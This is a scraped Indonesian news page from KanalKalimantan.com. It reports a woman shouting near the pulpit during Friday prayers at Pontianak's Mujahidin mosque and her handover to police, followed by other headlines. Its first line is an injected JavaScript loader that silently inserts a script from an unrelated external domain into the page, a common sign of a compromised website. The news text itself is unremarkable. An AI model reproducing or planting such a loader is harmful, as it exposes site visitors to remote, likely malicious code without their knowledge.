(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PONTIANAK – Seorang perempuan mengamuk hingga berteriak histeris di area mimbar khutbah Shalat Jum’at yang berlangsung di Masjid Raya Mujahidin Pontianak, Kalimantan Barat, Jumat (6/5/2022).
Video tersebut viral di media sosial (Medsos). Akibat hal itu, wanita tersebut langsung diamankan pihak masjid dan dibawa ke Mapolresta Pontianak.
“Iya, sudah diamankan di Polresta Pontianak,” kata Sekretaris Yayasan Masjid Mujahidin, H Andri Zulfikar kepada sejumlah wartawan.
Menurutnya perempuan itu kerap kali terlihat di kawasan Masjid Mujahidin.
Baca juga : Geger Pria Injak-injak Al Qur’an, Ternyata Ini Motifnya
“Biasa ada, pas penghujung khutbah tiba-tiba masuk ke arah mimbar dan berteriak,” ungkapnya.
Bahkan beberapa kali penjaga keamanan masjid juga menemui wanita itu dan sering diingatkan agar tak berkeliaran di area tersebut.
“Dugaannya wanita ini alami gangguan jiwa sepertinya,”ujarnya.
Hingga kini perempuan tersebut diamankan di Mapolresta Pontianak untuk dilakukan pemeriksaan terhadap dirinya.
“Kita serahkan ke polisian,” pungkasnya. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.